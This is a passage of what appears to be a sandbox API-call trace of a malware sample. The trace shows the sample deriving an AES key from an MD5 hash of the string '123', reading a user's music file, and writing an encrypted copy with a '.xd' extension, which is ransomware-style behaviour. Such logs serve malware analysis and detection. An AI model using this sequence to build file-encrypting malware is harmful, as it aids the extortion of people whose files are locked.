cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0063.879] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0063.879] CryptCreateHash (in: hProv=0x17abc38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0063.879] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.879] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.879] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.879] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629610, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.879] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0063.879] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.882] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.882] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.882] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.882] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0063.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621768, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0063.882] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0063.882] CryptHashData (hHash=0x164c770, pbData=0x1629710, dwDataLen=0x3, dwFlags=0x1) returned 1 [0063.882] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.882] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.882] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.883] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.883] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.883] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.883] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.883] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0063.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0063.883] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0063.883] CryptDeriveKey (in: hProv=0x17abc38, Algid=0x6610, hBaseData=0x164c770, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c970) returned 1 [0063.883] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.883] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.883] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.883] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.883] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.883] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.883] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0063.883] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0063.884] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0063.884] CryptDestroyHash (hHash=0x164c770) returned 1 [0063.884] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.884] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.884] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.884] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.884] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.884] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht\\vb t4e.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0063.884] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.884] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0063.884] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.884] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.885] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.885] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht")) returned 0x10 [0063.885] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht\\vb t4e.m4a.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0063.885] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.885] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.885] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.885] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.887] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0063.887] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xf0bd, lpOverlapped=0x0) returned 1 [0063.889] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0063.892] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.892] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.892] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.892] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0063.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.893] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0063.893] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.893] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0063.893] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.893] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.893] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.893] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0063.893] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0063.893] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0063.894] CryptGetKeyParam (in: hKey=0x164c970, dwParam=0x7, pbData=0x1629610, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629610*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0063.894] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.894] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.894] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.894] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.894] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.894] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.894] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.895] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.895] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.895] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.895] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.895] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.896] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.896] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.897] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217f8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.898] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.898] CryptEncrypt (in: hKey=0x164c970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xf0bd, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xf0c0) returned 1 [0063.898] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.898] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.898] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.898] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.898] CharLowerBuffW (in: lpsz="byte[61633]", cchLength=0xb | out: lpsz="byte[61633]") returned 0xb [0063.898] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.899] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.899] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.899] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bb8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.900] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.900] CryptEncrypt (in: hKey=0x164c970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xf0bd, dwBufLen=0xf0c0 | out: pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xf0c0) returned 1 [0063.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.900] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.900] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.900] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.900] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.900] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.900] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.900] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.901] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.901] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.901] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.905] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.906] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.906] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.906] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xf0c0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xf0c0, lpOverlapped=0x0) returned 1 [0063.907] PeekMessageW (in: 